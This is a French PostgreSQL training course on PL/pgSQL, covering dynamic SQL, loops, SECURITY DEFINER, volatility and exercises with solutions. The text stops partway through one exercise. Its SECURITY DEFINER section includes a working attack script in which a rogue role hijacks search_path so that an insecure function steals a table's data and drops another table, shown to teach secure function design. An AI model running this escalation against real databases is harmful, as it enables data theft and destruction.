Moins grave, une erreur peut être levée à cause d’une apostrophe (quote) dans une chaîne texte. Il existe effectivement des gens avec une apostrophe dans le nom.
Ce qui suit concerne le SQL dynamique dans des routines PL/pgSQL,
mais le principe concerne tous les langages et clients, y compris
psql
et sa méta-commande \gexec
.
En SQL pur, la protection contre les injections SQL est un argument pour
utiliser les requêtes
préparées, dont l’ordre EXECUTE
diffère de celui-ci du
PL/pgSQL ci-dessous.
EXECUTE 'UPDATE tbl SET '
|| quote_ident(nom_colonne)
|| ' = '
|| quote_literal(nouvelle_valeur)
|| ' WHERE cle = '
|| quote_literal(valeur_cle) ;
Les trois exemples précédents sont équivalents.
Le premier est le plus simple au premier abord. Il utilise
quote_ident
et quote_literal
pour protéger des
injections SQL
(voir plus loin).
Le second est plus lisible grâce à la fonction de formatage
format
qui évite ces concaténations et appelle implicitement les fonctions
quote_%
Si un paramètre ne peut pas prendre la valeur NULL,
utiliser %L
(équivalent de quote_nullable
) et
non %I
(équivalent de quote_ident
).
La troisième alternative avec USING
et les paramètres
numériques $1
et $2
est considérée comme la
plus performante. (Voir les détails
dans la documentation).
L’exemple complet suivant tiré
de la documentation officielle utilise EXECUTE
pour
rafraîchir des vues matérialisées en masse.
CREATE FUNCTION rafraichir_vuemat() RETURNS integer AS $$
DECLARE
mviews RECORD;
BEGIN
RAISE NOTICE 'Rafraîchissement de toutes les vues matérialisées…';
FOR mviews IN
SELECT n.nspname AS mv_schema,
c.relname AS mv_name,
pg_catalog.pg_get_userbyid(c.relowner) AS owner
FROM pg_catalog.pg_class c
LEFT JOIN pg_catalog.pg_namespace n ON (n.oid = c.relnamespace)
WHERE c.relkind = 'm'
ORDER BY 1
LOOP
-- Maintenant "mviews" contient un enregistrement
-- avec les informations sur la vue matérialisé
RAISE NOTICE 'Rafraichissement de la vue matérialisée %.% (owner: %)…',
quote_ident(mviews.mv_schema),
quote_ident(mviews.mv_name),
quote_ident(mviews.owner);
EXECUTE format('REFRESH MATERIALIZED VIEW %I.%I',
mviews.mv_schema, mviews.mv_name) ;
END LOOP;
RAISE NOTICE 'Fin du rafraîchissement';
RETURN 1;
END;
$$ LANGUAGE plpgsql;
STRICT
: 1 résultat
NO_DATA_FOUND
ou TOO_MANY_ROWS
STRICT
:
NO_DATA_FOUND
GET DIAGNOSTICS integer_var = ROW_COUNT
De la même manière que pour SELECT … INTO
, utiliser
STRICT
permet de garantir qu’il y a exactement une valeur
comme résultat de EXECUTE
, ou alors une erreur sera
levée.
Nous verrons plus loin comment traiter les exceptions.
quote_ident ()
quote_literal ()
quote_nullable ()
||
: concaténerformat(…)
, équivalent de
sprintf
en CLa fonction format
est l’équivalent de la fonction
sprintf
en C : elle formate une chaîne en fonction d’un
patron et de valeurs à appliquer à ses paramètres et la retourne. Les
types de paramètre reconnus par format
sont :
%I
: est remplacé par un identifiant d’objet. C’est
l’équivalent de la fonction quote_ident
. L’objet en
question est entouré de guillemets doubles si nécessaire ;%L
: est remplacé par une valeur littérale. C’est
l’équivalent de la fonction quote_literal
. Des guillemets
simples sont ajoutés à la valeur et celle-ci est correctement échappée
si nécessaire ;%s
: est remplacé par la valeur donnée sans autre forme
de transformation ;%%
: est remplacé par un simple %
.Voici un exemple d’utilisation de cette fonction, utilisant des paramètres positionnels :
Exemple :
CASE
WHEN nombre = 0 THEN 'zéro'
WHEN variable > 0 THEN 'positif'
WHEN variable < 0 THEN 'négatif'
ELSE 'indéterminé'
END CASE
ou :
L’instruction CASE WHEN
est proche de l’expression
CASE
des requêtes SQL dans son principe (à part qu’elle se clôt par
END
en SQL, et END CASE
en PL/pgSQL).
Elle est parfois plus légère à lire que des IF
imbriqués.
Exemple complet :
LOOP
/ END LOOP
EXIT [label] [WHEN expression_booléenne]
CONTINUE [label] [WHEN expression_booléenne]
Des boucles simples s’effectuent avec
LOOP
/END LOOP
.
Pour les détails, voir la documentation officielle.
Cette boucle incrémente le résultat de 1 à chaque itération tant que la valeur du résultat est inférieure à 50. Ensuite, le résultat est incrémenté de 1 à deux reprises pour chaque tour de boucle. On incrémente donc de 2 par tour de boucle. Arrivée à 100, la procédure sort de la boucle.
variable
va obtenir les différentes valeurs entre
entier1 et entier2La boucle FOR
n’a pas d’originalité par rapport à
d’autres langages.
L’option BY
permet d’augmenter l’incrémentation :
L’option REVERSE
permet de faire défiler les valeurs en
ordre inverse :
ligne
de type RECORD
, ROW
, ou
liste de variables séparées par des virgulesCette syntaxe très pratique permet de parcourir les lignes résultant
d’une requête sans avoir besoin de créer et parcourir un curseur.
Souvent on utilisera une variable de type ROW
ou
RECORD
(comme dans l’exemple de la fonction
rafraichir_vuemat
plus haut), mais l’utilisation directe de
variables (déclarées préalablement) est possible :
FOR a, b, c, d IN
(SELECT col_a, col_b, col_c, col_d FROM ma_table)
LOOP
-- instructions utilisant ces variables
…
END LOOP;
Attention de ne pas utiliser les variables en question hors de la boucle, elles auront gardé la valeur acquise dans la dernière itération.
variable
va obtenir les différentes valeurs du tableau
retourné par expression
SLICE
permet de jouer sur le nombre de dimensions du
tableau à passer à la variableVoici deux exemples permettant d’illustrer l’utilité de
SLICE
:
SLICE
:DO $$
DECLARE a int[] := ARRAY[[1,2],[3,4],[5,6]];
b int;
BEGIN
FOREACH b IN ARRAY a LOOP
RAISE INFO 'var: %', b;
END LOOP;
END $$ ;
SLICE
:DO $$
DECLARE a int[] := ARRAY[[1,2],[3,4],[5,6]];
b int[];
BEGIN
FOREACH b SLICE 1 IN ARRAY a LOOP
RAISE INFO 'var: %', b;
END LOOP;
END $$;
et avec SLICE 2
, on obtient :
SECURITY INVOKER
: défaut
SECURITY DEFINER
Une fonction SECURITY INVOKER
s’exécute avec les droits
de l’appelant. C’est le mode par défaut.
Une fonction SECURITY DEFINER
s’exécute avec les droits
du créateur. Cela permet, au travers d’une fonction, de permettre à un
utilisateur d’outrepasser ses droits de façon contrôlée. C’est
l’équivalent du sudo
d’Unix.
Bien sûr, une fonction SECURITY DEFINER
doit faire
l’objet d’encore plus d’attention qu’une fonction normale. Elle peut
facilement constituer un trou béant dans la sécurité de votre base.
C’est encore plus important si le propriétaire de la fonction est un
superutilisateur, car celui-ci a la possibilité d’accéder aux fichiers
de PostgreSQL et au système d’exploitation.
Plusieurs points importants sont à noter pour
SECURITY DEFINER
:
Par défaut, toute fonction créée dans public est exécutable par le rôle public. La première chose à faire est donc de révoquer ce droit. Mieux : créer la fonction dans un schéma séparé est recommandé pour gérer plus finalement les accès.
Il faut se protéger des variables de session qui pourraient être
utilisées pour modifier le comportement de la fonction, en particulier
le search_path (qui pourrait faire pointer vers des tables de
même nom dans un autre schéma). Il doit donc
impérativement être positionné en dur dans cette
fonction (soit d’emblée, avec un SET
en début de fonction,
soit en positionnant un SET
dans le
CREATE FUNCTION
) ; et/ou les fonctions doivent préciser
systématiquement le schéma dans les appels de tables
(SELECT … FROM nomschema.nomtable …
).
Exemple d’une fonction en SECURITY DEFINER
avec
un search path sécurisé :
\c pgbench pgbench
-- A exécuter en tant que pgbench, propriétaire de la base pgbench
CREATE SCHEMA pgbench_util ;
CREATE OR REPLACE FUNCTION pgbench_util.accounts_balance (pbid integer)
RETURNS integer
LANGUAGE sql
IMMUTABLE PARALLEL SAFE
SECURITY DEFINER
SET search_path TO '' -- précaution supplémentaire
AS $function$
SELECT bbalance FROM public.pgbench_branches br WHERE br.bid = pbid ;
$function$ ;
GRANT USAGE ON SCHEMA pgbench_util TO lecteur ;
GRANT EXECUTE ON FUNCTION pgbench_util.accounts_balance TO lecteur ;
L’utilisateur lecteur peut bien lire le résultat de la fonction sans accès à la table :
Exemple de fonction laxiste et d’attaque :
-- Exemple sur une base pgbench, appartenant à pgbench
-- créée par exemple ainsi :
-- createdb pgbench -O pgbench
-- pgbench -U pgbench -i -s 1 pgbench
-- Deux utilisateurs :
-- pgbench
-- attaquant qui a son propre schéma
\set timing off
\set ECHO all
\set ON_ERROR_STOP 1
\c pgbench pgbench
-- Fonction non sécurisée fournie par l'utilisateur pgbench
-- à tout le monde par public
CREATE OR REPLACE FUNCTION public.accounts_balance_insecure(pbid integer)
RETURNS integer
LANGUAGE plpgsql
IMMUTABLE PARALLEL SAFE
SECURITY DEFINER
-- oublié : SET search_path TO ''
AS $function$ BEGIN
RETURN bbalance FROM /* pas de schéma */ pgbench_branches br
WHERE br.bid = pbid ;
END $function$ ;
-- Droits trop ouverts
GRANT EXECUTE ON FUNCTION accounts_balance_insecure TO public ;
-- Résultat normal : renvoie 0
SELECT * FROM accounts_balance_insecure (1) ;
-- Création d'un utilisateur avec droit d'écrire dans un schéma
\c pgbench postgres
DROP SCHEMA IF EXISTS piege CASCADE ;
--DROP ROLE attaquant ;
CREATE ROLE attaquant LOGIN ; -- pg_hba.conf laissé en exercice au lecteur
-- Il faut que l'attaquant ait un schéma où écrire,
-- et puisse donner l'accès à la victime.
-- Le schéma public convient parfaitement pour cela avant PostgreSQL 15…
CREATE SCHEMA piege ;
GRANT ALL ON SCHEMA piege TO attaquant WITH GRANT OPTION ;
\c pgbench attaquant
\conninfo
-- Résultat normal (accès peut-être indu mais pour le moment sans danger)
SELECT * FROM accounts_balance_insecure (1) ;
-- L'attaquant peut voir la fonction et étudier comment la détourner
\sf accounts_balance_insecure
-- Fonction que l'attaquant veut faire exécuter à pgbench
CREATE FUNCTION piege.lit_donnees_cachees ()
RETURNS TABLE (bid int, bbalance int)
LANGUAGE plpgsql
AS $$
DECLARE
n int ;
BEGIN
-- affichage de l'utilisateur pgbench
RAISE NOTICE 'Entrée dans fonction piégée en tant que %', current_user ;
-- copie de données non autorisées dans le schéma de l'attaquant
CREATE TABLE piege.donnees_piratees AS SELECT * FROM pgbench_tellers ;
GRANT ALL ON piege.donnees_piratees TO attaquant ;
-- destruction de données…
DROP TABLE IF EXISTS pgbench_history ;
-- sortie propre impérative pour éviter le rollback
RETURN QUERY SELECT 666 AS bid, 42 AS bbalance ;
END ;
$$ ;
-- Vue d'enrobage pour « masquer » la vraie table de même nom
CREATE OR REPLACE VIEW piege.pgbench_branches AS
SELECT * FROM piege.lit_donnees_cachees () ;
-- Donner les droits au compte attaqué sur les objets
-- de l'attaquant
GRANT USAGE,CREATE ON SCHEMA piege TO pgbench ;
GRANT ALL ON piege.pgbench_branches TO pgbench ;
GRANT ALL ON FUNCTION piege.lit_donnees_cachees TO pgbench ;
-- Détournement du chemin d'accès
SET search_path TO piege,public ;
-- Attaque
SELECT * FROM accounts_balance_insecure (666) ;
-- Lecture des données piratées
SELECT COUNT (*) as nb_lignes_recuperees FROM piege.donnees_piratees ;
COST cout_execution
ROWS nb_lignes_resultat
COST
est un coût représenté en unité de
cpu_operator_cost
(100 par défaut).
ROWS
vaut par défaut 1000 pour les fonctions
SETOF
ou TABLE
, et 1 pour les autres.
Ces deux paramètres ne modifient pas le comportement de la fonction. Ils ne servent que pour aider l’optimiseur de requête à estimer le coût d’appel à la fonction, afin de savoir, si plusieurs plans sont possibles, lequel est le moins coûteux par rapport au nombre d’appels de la fonction et au nombre d’enregistrements qu’elle retourne.
PARALLEL UNSAFE
(défaut)PARALLEL RESTRICTED
PARALLEL SAFE
PARALLEL UNSAFE
indique que la fonction ne peut pas être
exécutée dans le mode parallèle. La présence d’une fonction de ce type
dans une requête SQL force un plan d’exécution en série. C’est la valeur
par défaut.
Une fonction est non parallélisable si elle modifie l’état d’une base ou si elle fait des changements sur la transaction.
PARALLEL RESTRICTED
indique que la fonction peut être
exécutée en mode parallèle mais l’exécution est restreinte au processus
principal d’exécution.
Une fonction peut être déclarée comme restreinte si elle accède aux tables temporaires, à l’état de connexion des clients, aux curseurs, aux requêtes préparées.
PARALLEL SAFE
indique que la fonction s’exécute
correctement dans le mode parallèle sans restriction.
En général, si une fonction est marquée sûre ou restreinte à la parallélisation alors qu’elle ne l’est pas, elle pourrait renvoyer des erreurs ou fournir de mauvaises réponses lorsqu’elle est utilisée dans une requête parallèle.
En cas de doute, les fonctions doivent être marquées comme
UNSAFE
, ce qui correspond à la valeur par défaut.
IMMUTABLE | STABLE | VOLATILE
On peut indiquer à PostgreSQL le niveau de volatilité (ou de stabilité) d’une fonction. Ceci permet d’aider PostgreSQL à optimiser les requêtes utilisant ces fonctions, mais aussi d’interdire leur utilisation dans certains contextes.
Une fonction est « immutable » si son exécution ne
dépend que de ses paramètres. Elle ne doit donc dépendre ni du contenu
de la base (pas de SELECT
, ni de modification de donnée de
quelque sorte), ni d’aucun autre élément qui ne soit
pas un de ses paramètres. Les fonctions arithmétiques simples
(+
, *
, abs
…) sont immutables.
À l’inverse, now()
n’est évidemment pas immutable. Une
fonction sélectionnant des données d’une table non plus.
to_char()
n’est pas non plus immutable, car son
comportement dépend des paramètres de session, par exemple
to_char(timestamp with time zone, text)
dépend du paramètre
de session timezone
…
Une fonction est « stable » si son exécution donne
toujours le même résultat sur toute la durée d’un ordre SQL, pour les
mêmes paramètres en entrée. Cela signifie que la fonction ne modifie pas
les données de la base. Une fonction n’exécutant que des
SELECT
sur des tables (pas des fonctions !) sera stable.
to_char()
est stable. L’optimiseur peut réduire ainsi le
nombre d’appels sans que ce soit en pratique toujours le cas.
Une fonction est « volatile » dans tous les autres
cas. random()
est volatile. Une fonction volatile peut même
modifier les donneés. Une fonction non déclarée comme stable ou
immutable est volatile par défaut.
La volatilité des fonctions intégrées à PostgreSQL est déjà définie. C’est au développeur de préciser la volatilité des fonctions qu’il écrit. Ce n’est pas forcément évident. Une erreur peut poser des problèmes quand le plan est mis en cache, ou, on le verra, dans des index.
Quelle importance cela a-t-il ?
Prenons une table d’exemple sur les heures de l’année 2020 :
-- Une ligne par heure dans l année, 8784 lignes
CREATE TABLE heures
AS
SELECT i, '2020-01-01 00:00:00+01:00'::timestamptz + i * interval '1 hour' AS t
FROM generate_series (1,366*24) i;
Définissons une fonction un peu naïve ramenant le premier jour du mois, volatile faute de mieux :
CREATE OR REPLACE FUNCTION premierjourdumois(t timestamptz)
RETURNS timestamptz
LANGUAGE plpgsql
VOLATILE
AS $$
BEGIN
RAISE notice 'appel premierjourdumois' ; -- trace des appels
RETURN date_trunc ('month', t);
END $$ ;
Demandons juste le plan d’un appel ne portant que sur le dernier jour :
EXPLAIN SELECT * FROM heures
WHERE t > premierjourdumois('2020-12-31 00:00:00+02:00'::timestamptz)
LIMIT 10 ;
QUERY PLAN
-------------------------------------------------------------------------
Limit (cost=0.00..8.04 rows=10 width=12)
-> Seq Scan on heures (cost=0.00..2353.80 rows=2928 width=12)
Filter: (t > premierjourdumois(
'2020-12-30 23:00:00+01'::timestamp with time zone))
Le nombre de lignes attendues (2928) est le tiers de la table, alors que nous ne demandons que le dernier mois. Il s’agit de l’estimation forfaitaire que PostgreSQL utilise faute d’informations sur ce que va retourner la fonction.
Demander à voir le résultat mène à l’affichage de milliers de
NOTICE
: la fonction est appelée à chaque ligne pour
calculer s’il faut filtrer la valeur. En effet, une fonction volatile
sera systématiquement exécutée à chaque appel, et, selon le plan, ce
peut être pour chaque ligne parcourue !
Cependant notre fonction ne fait que des calculs à partir du paramètre, sans effet de bord. Déclarons-la donc stable :
Une fonction stable peut en théorie être remplacée par son résultat pendant l’exécution de la requête. Mais c’est impossible de le faire plus tôt, car on ne sait pas forcément dans quel contexte la fonction va être appelée (par exemple, en cas de requête préparée, les paramètres de la session ou les données de la base peuvent même changer entre la planification et l’exécution).
Dans notre cas, le même EXPLAIN
simple mène à ceci :
NOTICE: appel premierjourdumois
QUERY PLAN
-------------------------------------------------------------------------
Limit (cost=0.00..32.60 rows=10 width=12)
-> Seq Scan on heures (cost=0.00..2347.50 rows=720 width=12)
Filter: (t > premierjourdumois(
'2020-12-30 23:00:00+01'::timestamp with time zone))
Comme il s’agit d’un simple EXPLAIN
, la requête n’est
pas exécutée. Or le message NOTICE
est renvoyé : la
fonction est donc exécutée pour une simple planification. Un appel
unique suffit, puisque la valeur d’une fonction stable ne change pas
pendant toute la durée de la requête pour les mêmes paramètres (ici une
constante). Cet appel permet d’affiner la volumétrie des valeurs
attendues, ce qui peut avoir un impact énorme.
Cependant, à l’exécution, les NOTICE
apparaîtront pour
indiquer que la fonction est à nouveau appelée à chaque ligne. Pour
qu’un seul appel soit effectué pour toute la requête, il faudrait
déclarer la fonction comme immutable, ce qui serait faux, puisqu’elle
dépend implicitement du fuseau horaire.
Dans l’idéal, une fonction immutable peut être remplacée par son résultat avant même la planification d’une requête l’utilisant. C’est le cas avec les calculs arithmétiques par exemple :
EXPLAIN SELECT * FROM heures
WHERE i > abs(364*24) AND t > '2020-06-01'::date + interval '57 hours' ;
La valeur est substituée très tôt, ce qui permet de les comparer aux statistiques :
Seq Scan on heures (cost=0.00..179.40 rows=13 width=12)
Filter: ((i > 8736) AND (t > '2020-06-03 09:00:00'::timestamp without time zone))
Pour forcer un appel unique quand on sait que la fonction renverra une constante, du moins le temps de la requête, même si elle est volatile, une astuce est de signifier à l’optimiseur qu’il n’y aura qu’une seule valeur de comparaison, même si on ne sait pas laquelle :
EXPLAIN (ANALYZE) SELECT * FROM heures
WHERE t > (SELECT premierjourdumois('2020-12-31 00:00:00+02:00'::timestamptz)) ;
NOTICE: appel premierjourdumois
QUERY PLAN
--------------------------------------------------------------------------------
Seq Scan on heures (cost=0.26..157.76 rows=2920 width=12)
(actual time=1.090..1.206 rows=721 loops=1)
Filter: (t > $0)
Rows Removed by Filter: 8039
InitPlan 1 (returns $0)
-> Result (cost=0.00..0.26 rows=1 width=8)
(actual time=0.138..0.139 rows=1 loops=1)
Planning Time: 0.058 ms
Execution Time: 1.328 ms
On note qu’il n’y a qu’un appel. On comprend donc l’intérêt de se poser la question à l’écriture de chaque fonction.
La volatilité est encore plus importante quand il s’agit de créer des fonctions sur index :
Ceci n’est possible que si la fonction est immutable. En effet, si le résultat de la fonction dépend de l’état de la base ou d’autres paramètres, la fonction exécutée au moment de la création de la clé d’index pourrait ne plus retourner le même résultat quand viendra le moment de l’interroger. PostgreSQL n’acceptera donc que les fonctions immutables dans la déclaration des index fonctionnels.
Déclarer hâtivement une fonction comme immutable juste pour pouvoir l’utiliser dans un index est dangereux : en cas d’erreur, les résultats d’une requête peuvent alors dépendre du plan d’exécution, selon que les index seront utilisés ou pas !
Cela est particulièrement fréquent quand les fuseaux horaires ou les dictionnaires sont impliqués. Vérifiez bien que vous n’utilisez que des fonctions immutables dans les index fonctionnels, les pièges sont nombreux.
Par exemple, si l’on veut une version immutable de la fonction
précédente, il faut fixer le fuseau horaire dans l’appel à
date_trunc
. En effet, on peut voir avec
df+ date_trunc
que la seule version immutable de
date_trunc
n’accepte que des timestamp
(sans
fuseau), et en renvoie un. Notre fonction devient donc :
CREATE OR REPLACE FUNCTION premierjourdumois_utc(t timestamptz)
RETURNS timestamptz
LANGUAGE plpgsql
IMMUTABLE
AS $$
DECLARE
jour1 timestamp ; --sans TZ
BEGIN
jour1 := date_trunc ('month', (t at time zone 'UTC')::timestamp) ;
RETURN jour1 AT TIME ZONE 'UTC';
END $$ ;
Testons avec une date dans les dernières heures de septembre en Alaska, qui correspond au tout début d’octobre en temps universel, et par exemple aussi au Japon :
SET timezone TO 'US/Alaska';
SELECT d,
d AT TIME ZONE 'UTC' AS d_en_utc,
premierjourdumois_utc (d),
premierjourdumois_utc (d) AT TIME ZONE 'UTC' as pjm_en_utc
FROM (SELECT '2020-09-30 18:00:00-08'::timestamptz AS d) x;
-[ RECORD 1 ]---------+-----------------------
d | 2020-09-30 18:00:00-08
d_en_utc | 2020-10-01 02:00:00
premierjourdumois_utc | 2020-09-30 16:00:00-08
pjm_en_utc | 2020-10-01 00:00:00
SET timezone TO 'Japan';
SELECT d,
d AT TIME ZONE 'UTC' AS d_en_utc,
premierjourdumois_utc (d),
premierjourdumois_utc (d) AT TIME ZONE 'UTC' as pjm_en_utc
FROM (SELECT '2020-09-30 18:00:00-08'::timestamptz AS d) x;
-[ RECORD 1 ]---------+-----------------------
d | 2020-10-01 11:00:00+09
d_en_utc | 2020-10-01 02:00:00
premierjourdumois_utc | 2020-10-01 09:00:00+09
pjm_en_utc | 2020-10-01 00:00:00
Malgré les différences d’affichage dues au fuseau horaire, c’est bien le même moment (la première seconde d’octobre en temps universel) qui est retourné par la fonction.
Pour une fonction aussi simple, la version SQL est même préférable :
CREATE OR REPLACE FUNCTION premierjourdumois_utc(t timestamptz)
RETURNS timestamptz
LANGUAGE sql
IMMUTABLE
AS $$
SELECT (date_trunc ('month',
(t at time zone 'UTC')::timestamp
)
) AT TIME ZONE 'UTC';
$$ ;
Enfin, la volatilité a également son importance lors d’autres opérations d’optimisation, comme l’exclusion de partitions. Seules les fonctions immutables sont compatibles avec le partition pruning effectué à la planification, mais les fonctions stable sont éligibles au dynamic partition pruning (à l’exécution) apparu avec PostgreSQL 11.
La documentation officielle sur le langage PL/pgSQL peut être consultée en français à cette adresse.
La version en ligne des solutions de ces TP est disponible sur https://dali.bo/p1_solutions.
L’exercice sur les index fonctionnels utilise la base magasin. La base magasin (dump de 96 Mo, pour 667 Mo sur le disque au final) peut être téléchargée et restaurée comme suit dans une nouvelle base magasin :
createdb magasin
curl -kL https://dali.bo/tp_magasin -o /tmp/magasin.dump
pg_restore -d magasin /tmp/magasin.dump
# le message sur public préexistant est normal
rm -- /tmp/magasin.dump
Les données sont dans deux schémas, magasin et
facturation. Penser au search_path
.
Pour ce TP, figer les paramètres suivants :
But : Premières fonctions
Écrire une fonction
hello()
qui renvoie la chaîne de caractère « Hello World! » en SQL.
Écrire une fonction
hello_pl()
qui renvoie la chaîne de caractère « Hello World! » en PL/pgSQL.
Comparer les coûts des deux plans d’exécutions de ces requêtes. Expliquer ces coûts.
But : Fonction avec calcul simple
Écrire en PL/pgSQL une fonction de division appelée
division
. Elle acceptera en entrée deux arguments de type entier et renverra un nombre réel (numeric
).
Écrire cette même fonction en SQL.
Comment corriger le problème de la division par zéro ? Écrire cette nouvelle fonction dans les deux langages. (Conseil : dans ce genre de calcul impossible, il est possible d’utiliser la constante
NaN
(Not A Number) ).
But : Utiliser une table à l’intérieur d’une fonction
Ce TP utilise les tables de la base employes_services. Le script de création se télécharge et s’installe ainsi dans une nouvelle base employes :
curl -kL https://dali.bo/tp_employes_services -o employes_services.sql
createdb employes
psql employes < employes_services.sql
Les quelques tables occupent environ 80 Mo sur le disque.
Créer une fonction qui ramène le nombre d’employés embauchés une année donnée (à partir du champ
employes.date_embauche
).
Utiliser la fonction
generate_series()
pour lister le nombre d’embauches pour chaque année entre 2000 et 2010.
Créer une fonction qui fait la même chose avec deux années en paramètres une boucle
FOR … LOOP
,RETURNS TABLE
etRETURN NEXT
.
But : Fonctions avec de nombreuses conditions, des manipulations de types, et un message.
Écrire une fonction de multiplication dont les arguments sont des chiffres en toute lettre, inférieurs ou égaux à « neuf ». Par exemple,
multiplication ('deux','trois')
doit renvoyer 6.
Si ce n’est déjà fait, faire en sorte que
multiplication
appelle une autre fonction pour faire la conversion de texte en chiffre, et n’effectue que le calcul.
Essayer de multiplier « deux » par 4. Qu’obtient-on et pourquoi ?
Corriger la fonction pour tomber en erreur si un argument est numérique (utiliser
RAISE EXCEPTION <message>
).
But : Fonction plus complexe
Écrire une fonction en PL/pgSQL qui prend en argument le nom de l’utilisateur, puis lui dit « Bonjour » ou « Bonsoir » suivant l’heure de la journée. Utiliser la fonction
to_char()
.
Écrire la même fonction avec un paramètre
OUT
.
Pour calculer l’heure courante, utiliser plutôt la fonction
extract
.
Réécrire la fonction en SQL.
But : Manipuler des chaînes
Écrire une fonction
inverser
qui inverse une chaîne (pour « toto » en entrée, afficher « otot » en sortie), à l’aide d’une boucleWHILE
et des fonctionschar_length
etsubstring
.
But : Calculs complexes avec des dates
Le calcul de la date de Pâques est complexe. On peut écrire la fonction suivante :
CREATE OR REPLACE FUNCTION paques (annee integer)
RETURNS date
AS $$
DECLARE
a integer ;
b integer ;
r date ;
BEGIN
a := (19*(annee % 19) + 24) % 30 ;
b := (2*(annee % 4) + 4*(annee % 7) + 6*a + 5) % 7 ;
SELECT (annee::text||'-03-31')::date + (a+b-9) INTO r ;
RETURN r ;
END ;
$$
LANGUAGE plpgsql ;
Principe : Soit m
l’année. On calcule
successivement :
m/19
: c’est la valeur de
a
.m/4
: c’est la valeur de
b
.m/7
: c’est la valeur de
c
.(19a + p)/30
: c’est la valeur de
d
.(2b + 4c + 6d + q)/7
: c’est la valeur de
e
.Les valeurs de p
et de q
varient de 100 ans
en 100 ans. De 2000 à 2100, p
vaut 24, q
vaut
5. La date de Pâques est le (22 + d + e)
mars ou le
(d + e - 9)
avril.
Afficher les dates de Pâques de 2018 à 2025.
Écrire une fonction qui calcule la date de l’Ascension, soit le jeudi de la sixième semaine après Pâques. Pour simplifier, on peut aussi considérer que l’Ascension se déroule 39 jours après Pâques.
Pour écrire une fonction qui renvoie tous les jours fériés d’une année (libellé et date), en France métropolitaine :
- Prévoir un paramètre supplémentaire pour l’Alsace-Moselle, où le Vendredi saint (précédant le dimanche de Pâques) et le 26 décembre sont aussi fériés (ou toute autre variation régionale).
- Cette fonction doit renvoyer plusieurs lignes : utiliser
RETURN NEXT
.- Plusieurs variantes sont possibles : avec
SETOF record
, avec des paramètresOUT
, ou avecRETURNS TABLE (libelle, jour)
.- Enfin, il est possible d’utiliser
RETURN QUERY
.
But : Cas d’usage d’un index fonctionnel
Pour répondre aux exigences de stockage, l’application a besoin de pouvoir trouver rapidement les produits dont le volume est compris entre certaines bornes (nous négligeons ici le facteur de forme, qui est problématique dans le cadre d’un véritable stockage en entrepôt !).
Écrire une requête permettant de renvoyer l’ensemble des produits (table
magasin.produits
) dont le volume ne dépasse pas 1 litre (les unités de longueur sont en mm, 1 litre = 1 000 000 mm³).
Quel index permet d’optimiser cette requête ? (Utiliser une fonction est possible, mais pas obligatoire.)
Écrire une fonction
hello()
qui renvoie la chaîne de caractère « Hello World! » en SQL.
CREATE OR REPLACE FUNCTION hello()
RETURNS text
AS $BODY$
SELECT 'hello world !'::text;
$BODY$
LANGUAGE SQL;
Écrire une fonction
hello_pl()
qui renvoie la chaîne de caractère « Hello World! » en PL/pgSQL.
CREATE OR REPLACE FUNCTION hello_pl()
RETURNS text
AS $BODY$
BEGIN
RETURN 'hello world !';
END
$BODY$
LANGUAGE plpgsql;
Comparer les coûts des deux plans d’exécutions de ces requêtes. Expliquer ces coûts.
Requêtage :
Par défaut, si on ne précise pas le coût (COST
) d’une
fonction, cette dernière a un coût par défaut de 100. Ce coût est à
multiplier par la valeur du paramètre cpu_operator_cost
,
par défaut à 0,0025. Le coût total d’appel de la fonction
hello_pl
est donc par défaut de :
100*cpu_operator_cost + cpu_tuple_cost
Ce n’est pas valable pour la fonction en SQL pur, qui est ici intégrée à la requête.
Écrire en PL/pgSQL une fonction de division appelée
division
. Elle acceptera en entrée deux arguments de type entier et renverra un nombre réel (numeric
).
Attention, sous PostgreSQL, la division de deux entiers est par défaut entière : il faut donc transtyper.
CREATE OR REPLACE FUNCTION division (arg1 integer, arg2 integer)
RETURNS numeric
AS $BODY$
BEGIN
RETURN arg1::numeric / arg2::numeric;
END
$BODY$
LANGUAGE plpgsql;
Écrire cette même fonction en SQL.
CREATE OR REPLACE FUNCTION division_sql (a integer, b integer)
RETURNS numeric
AS $$
SELECT a::numeric / b::numeric;
$$
LANGUAGE SQL;
Comment corriger le problème de la division par zéro ? Écrire cette nouvelle fonction dans les deux langages. (Conseil : dans ce genre de calcul impossible, il est possible d’utiliser la constante
NaN
(Not A Number) ).
Le problème se présente ainsi :
Pour la version en PL :
CREATE OR REPLACE FUNCTION division(arg1 integer, arg2 integer)
RETURNS numeric
AS $BODY$
BEGIN
IF arg2 = 0 THEN
RETURN 'NaN';
ELSE
RETURN arg1::numeric / arg2::numeric;
END IF;
END $BODY$
LANGUAGE plpgsql;
Pour la version en SQL :
CREATE OR REPLACE FUNCTION division_sql(a integer, b integer)
RETURNS numeric
AS $$
SELECT CASE $2
WHEN 0 THEN 'NaN'
ELSE $1::numeric / $2::numeric
END;
$$
LANGUAGE SQL;
Ce TP utilise les tables de la base employes_services. Le script de création se télécharge et s’installe ainsi dans une nouvelle base employes :
curl -kL https://dali.bo/tp_employes_services -o employes_services.sql
createdb employes
psql employes < employes_services.sql
Les quelques tables occupent environ 80 Mo sur le disque.
Créer une fonction qui ramène le nombre d’employés embauchés une année donnée (à partir du champ
employes.date_embauche
).
CREATE OR REPLACE FUNCTION nb_embauches (v_annee integer)
RETURNS integer
AS $BODY$
DECLARE
nb integer;
BEGIN
SELECT count(*)
INTO nb
FROM employes
WHERE extract (year from date_embauche) = v_annee ;
RETURN nb;
END
$BODY$
LANGUAGE plpgsql ;
Test :
Utiliser la fonction
generate_series()
pour lister le nombre d’embauches pour chaque année entre 2000 et 2010.
n | nb_embauches
------+--------------
2000 | 2
2001 | 0
2002 | 0
2003 | 1
2004 | 0
2005 | 2
2006 | 9
2007 | 0
2008 | 0
2009 | 0
2010 | 0
Créer une fonction qui fait la même chose avec deux années en paramètres une boucle
FOR … LOOP
,RETURNS TABLE
etRETURN NEXT
.
CREATE OR REPLACE FUNCTION nb_embauches (v_anneedeb int, v_anneefin int)
RETURNS TABLE (annee int, nombre_embauches int)
AS $BODY$
BEGIN
FOR i in v_anneedeb..v_anneefin
LOOP
SELECT i, nb_embauches (i)
INTO annee, nombre_embauches ;
RETURN NEXT ;
END LOOP;
RETURN;
END
$BODY$
LANGUAGE plpgsql;
Le nom de la fonction a été choisi identique à la précédente, mais avec des paramètres différents. Cela ne gêne pas le requêtage :
Écrire une fonction de multiplication dont les arguments sont des chiffres en toute lettre, inférieurs ou égaux à « neuf ». Par exemple,
multiplication ('deux','trois')
doit renvoyer 6.
CREATE OR REPLACE FUNCTION multiplication (arg1 text, arg2 text)
RETURNS integer
